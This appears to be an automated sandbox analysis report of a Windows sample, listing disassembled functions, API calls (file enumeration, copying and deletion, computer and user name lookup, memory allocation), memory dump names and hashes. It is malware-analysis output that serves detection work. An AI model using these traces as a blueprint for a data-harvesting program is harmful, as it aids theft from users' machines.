Part of subcall function 006F4910: lstrcat.KERNEL32(?,?), ref: 006F4A70
Part of subcall function 006F4910: lstrcat.KERNEL32(?,00700FFC), ref: 006F4A82
Part of subcall function 006F4910: lstrcat.KERNEL32(?,?), ref: 006F4A96
Part of subcall function 006F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 006F4AAC
Part of subcall function 006F4910: DeleteFileA.KERNEL32(?), ref: 006F4B31

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F4A07

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 3d7e7dc1f194aa0cb7c8ac95938eb70fd5ef05a6b0c4a36e895b502238e4d2b9
Instruction ID: e3aef0b69ec1a5609ff7d655da34804310d0f2597c075b15416262233791ea5c
Opcode Fuzzy Hash: 3d7e7dc1f194aa0cb7c8ac95938eb70fd5ef05a6b0c4a36e895b502238e4d2b9
Instruction Fuzzy Hash: 1B41FAF7604208ABC7A4F7A0EC42EFE337EA785300F00854CB65957186ED759B899BD2

Function 006E6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 006E6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 006E6753

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2769b3131a1a8b6b00cc253cedcfc666022b8338db8d36120939df1456ebca40
Instruction ID: 42424b10263708c333fd0269b7e24cfa05cf6ffbc185ec7cae2c511ba4580d72
Opcode Fuzzy Hash: 2769b3131a1a8b6b00cc253cedcfc666022b8338db8d36120939df1456ebca40
Instruction Fuzzy Hash: 1E410E74A01208EFCB44CF59C494BADBBB2FF54354F248299E8599B355C731EA82CF84

Function 006F5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

lstrcat.KERNEL32(?,00000000), ref: 006F508A
lstrcat.KERNEL32(?,0165DC88), ref: 006F50A8

Part of subcall function 006F4910: wsprintfA.USER32 ref: 006F492C
Part of subcall function 006F4910: FindFirstFileA.KERNEL32(?,?), ref: 006F4943

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 961cd77a27ce4cf043c9f7b49ff6b86fc18f004ebc9f9caf9c7161c5d3407886
Instruction ID: 6339b8df3bda863e00a9b4530a45c08fcdf8c5bdc36762598a8826da11454982
Opcode Fuzzy Hash: 961cd77a27ce4cf043c9f7b49ff6b86fc18f004ebc9f9caf9c7161c5d3407886
Instruction Fuzzy Hash: 9201C8B691420C5BCBA4FB60DC42EEE733DAB54300F004188B74957181EEB09A899BE6

Function 006E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 006E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 006E10F7

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 44848c8da8a5321762aa03271c9bd8602847d274154a1c780eaf2eda1ceae4af
Instruction ID: 2284e5736a0b237708dba35e0899e3cf9b8aea0be5e19a73eb95185786bc7060
Opcode Fuzzy Hash: 44848c8da8a5321762aa03271c9bd8602847d274154a1c780eaf2eda1ceae4af
Instruction Fuzzy Hash: 6BF0E272641308BBEB149AA8AC49FBAB7ECE705B15F300448F604E7280D9719E00EAA4

Function 006F8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,006E1B54,?,?,0070564C,?,?,00700E1F), ref: 006F8D9F

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7c5929c307f6f8d9d70774c94f828c2efcd9b7da53b86ca10f66aabc910ddfec
Instruction ID: 4b4afea4c34c156dbd56490f57124c514a8ac470ca94ebbd40c9b2188c035eca
Opcode Fuzzy Hash: 7c5929c307f6f8d9d70774c94f828c2efcd9b7da53b86ca10f66aabc910ddfec
Instruction Fuzzy Hash: 4FF01570C0020CEFCB00EFA4D5496ECBB76EF10310F108199E926673C0DB745A5ADB85

Function 006F8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006F8E0B

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: f14056a3593f425d62916d5fd5ea1fac1a464730e8211282ea0681126635e4c8
Instruction ID: ee0a88bacaf627f6ab2164792cb210b5bd1a8c8ad579e38cacef4238849a8f8f
Opcode Fuzzy Hash: f14056a3593f425d62916d5fd5ea1fac1a464730e8211282ea0681126635e4c8
Instruction Fuzzy Hash: 07E0127594034C6BDB91EB94CC96FAD737D9B44B01F004295BA0C5B1C0DE70AB858B91

Function 006E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006F7910
Part of subcall function 006F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006F7917
Part of subcall function 006F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006F792F

Part of subcall function 006F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006E11B7), ref: 006F7880
Part of subcall function 006F7850: RtlAllocateHeap.NTDLL(00000000), ref: 006F7887
Part of subcall function 006F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006F789F

ExitProcess.KERNEL32 ref: 006E11C6

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 35ef79a253689a24f2acbd24ed5a2c4afdb727b2b9f2ca05c7ed8f13c961463c
Instruction ID: 23fb025e49be964cb9512fa89092d54779fa9dda31200020a47f9ebb32ab241f
Opcode Fuzzy Hash: 35ef79a253689a24f2acbd24ed5a2c4afdb727b2b9f2ca05c7ed8f13c961463c
Instruction Fuzzy Hash: 85E012B692830957CE5477B5BC0BB7A329E9B15385F08043CFB05D7212FA25E811A56E

Function 006F8E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 006F8E52

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 5dd433d88587c6c2ef2caaf3730490165bf50bfd2f1be5409b21639ddd3b8ae8
Instruction ID: 55201d65951c60dd5e84b4976552f957e3d4d0656c255d65cd80d1abd2c18377
Opcode Fuzzy Hash: 5dd433d88587c6c2ef2caaf3730490165bf50bfd2f1be5409b21639ddd3b8ae8
Instruction Fuzzy Hash: DB01E830A0810CEFCB04CF98C5857AC7BB2AF04308F2880C8DA056B351C7755A88DB85

Non-executed Functions

Function 6C675440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C675492
